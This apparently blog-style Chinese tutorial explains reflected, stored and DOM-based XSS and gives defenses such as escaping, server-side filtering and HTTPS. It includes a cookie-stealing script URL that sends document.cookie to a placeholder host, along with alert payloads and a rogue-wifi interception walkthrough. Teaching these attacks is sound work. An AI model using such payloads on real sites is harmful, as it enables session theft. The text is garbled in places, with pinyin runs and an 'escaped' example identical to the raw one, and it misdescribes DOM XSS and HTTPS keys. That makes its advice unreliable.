XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是“跨域”和“客戶端執行”。
有人將XSS攻擊分為三種,分別是:
1. Reflected XSS(基於反射的XSS攻擊)
2. Stored XSS(基於存儲的XSS攻擊)
3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)
Reflected XSS
基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。
例子:
1. 做個假設,當亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。
2. 在搜索框搜索內容,填入“<script>alert('handsome boy')</script>”, 點擊搜索。
3. 當前端頁麵沒有對返回的數據進行過濾,直接顯示在頁麵上, 這時就會alert那個字符串出來。
4. 進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
PS:這個地址當然是沒效的,隻是舉例子而已。
結論:
如果隻是1、2、3步做成功,那也隻是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。
開發安全措施:
1. 前端在顯示服務端數據時候,不僅是標簽內容需要過濾、轉義,就連屬性值也都可能需要。
2. 後端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。
例如:
標簽:
<span><script>alert('handsome boy')</script></span>
轉義
<span><script>alert('handsome boy')</script></span>
屬性:
如果一個input的value屬性值是
琅琊榜" onclick="javascript:alert('handsome boy')
就可能出現
<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">
點擊input導致攻擊腳本被執行,解決方式可以對script或者雙引號進行過濾。
Stored XSS
基於存儲的XSS攻擊,是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。
例子:
1. 發一篇文章,裏麵包含了惡意腳本
今天天氣不錯啊!<script>alert('handsome boy')</script>
2. 後端沒有對文章進行過濾,直接保存文章內容到數據庫。
3. 當其他看這篇文章的時候,包含的惡意腳本就會執行。
PS:因為大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。
結論:
後端盡可能對提交數據做過濾,在場景需求而不過濾的情況下,前端就需要做些處理了。
開發安全措施:
1. 首要是服務端要進行過濾,因為前端的校驗可以被繞過。
2. 當服務端不校驗時候,前端要以各種方式過濾裏麵可能的惡意腳本,例如script標簽,將特殊字符轉換成HTML編碼。
DOM-based or local XSS
基於DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifidewangguanhuiwangnifangwenderenheyemiancharuyiduanjiaobenhuozheshizhijiefanhuiyigediaoyuyemian,congerzhirueyijiaoben。zhezhongzhijiecunzaiyuyemian,wuxujingguofuwuqifanhuijiushijiyubendideXSS攻擊。
例子1:
1. 提供一個免費的wifi。
1. 開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,並把Wifi的DHCP-DNS設置為我們的電腦IP。
2. 之後連上wifi的用戶打開任何網站,請求都將被我們截取到。我們根據http頭中的host字段來轉發到真正服務器上。
3. 收到服務器返回的數據之後,我們就可以實現網頁腳本的注入,並返回給用戶。
4. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。
例子2:
1. 還是提供一個免費wifi
2. 在我們電腦上進行抓包
3. 分析數據,可以獲取用戶的微信朋友圈、郵箱、社交網站帳號數據(HTTP)等。
結論:
這攻擊其實跟網站本身沒有什麼關係,隻是數據被中間人獲取了而已,而由於HTTP是明文傳輸的,所以是極可能被竊取的。
開發安全措施:
1. 使用HTTPS!就跟我前麵《HTTP與HTTPS握手的那些事》這篇文章說的,HTTPS會(hui)在(zai)請(qing)求(qiu)數(shu)據(ju)之(zhi)前(qian)進(jin)行(xing)一(yi)次(ci)握(wo)手(shou),使(shi)得(de)客(ke)戶(hu)端(duan)與(yu)服(fu)務(wu)端(duan)都(dou)有(you)一(yi)個(ge)私(si)鑰(yao),服(fu)務(wu)端(duan)用(yong)這(zhe)個(ge)私(si)鑰(yao)加(jia)密(mi),客(ke)戶(hu)端(duan)用(yong)這(zhe)個(ge)私(si)鑰(yao)解(jie)密(mi),這(zhe)樣(yang)即(ji)使(shi)數(shu)據(ju)被(bei)人(ren)截(jie)取(qu)了(le),也(ye)是(shi)加(jia)密(mi)後(hou)的(de)數(shu)據(ju)。
總結
XSS攻擊的特點就是:盡一切辦法在目標網站上執行非目標網站上原有的腳本(某篇文章說的)。本地的XSS攻擊的示例2其實不算XSS攻擊,隻是簡單流量劫持。前兩種XSS攻擊是我們開發時候要注意的,而流量劫持的則可以使用HTTPS提高安全性。
您還沒有登錄,請先登錄


版權所有 © 2007-2026 武漢億萬聯合信息技術有限公司 鄂ICP備09009834號-1
鄂公網安備 42010602000231號